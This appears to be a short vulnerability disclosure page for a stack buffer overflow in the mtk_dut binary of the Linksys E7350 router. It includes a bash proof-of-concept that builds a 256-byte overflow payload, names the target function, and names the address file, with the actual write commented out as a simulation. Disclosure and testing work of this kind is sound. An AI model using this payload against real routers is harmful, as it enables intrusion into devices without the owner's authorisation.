CVE-2025-60695 Linksys E7350路由器mtk_dut二进制栈缓冲区溢出漏洞

#!/bin/bash # CVE-2025-60695 PoC - Linksys E7350 Stack Buffer Overflow # This PoC demonstrates the buffer overflow in mtk_dut binary # Note: This requires local access to the router # Typical vulnerable path: /sys/class/net/%s/address # For demonstration, create a mock scenario VULNERABLE_FUNCTION="sub_4045A8" BUFFER_SIZE=32 OVERFLOW_DATA_SIZE=256 # Generate overflow payload (256 bytes of 'A') PAYLOAD=$(python3 -c "print('A' * 256)") # Simulate writing to the address file echo "[*] Simulating overflow attack..." echo "[*] Target buffer size: $BUFFER_SIZE bytes" echo "[*] Overflow data size: $OVERFLOW_DATA_SIZE bytes" echo "[*] Overflow amount: $((OVERFLOW_DATA_SIZE - BUFFER_SIZE)) bytes" # In actual attack, this would be written to /sys/class/net/%s/address # echo "$PAYLOAD" > /sys/class/net/eth0/address # Trigger the vulnerable function # This would typically be done through the web interface or UART access echo "[+] Payload generated successfully" echo "[+] Use with appropriate router access to trigger vulnerability"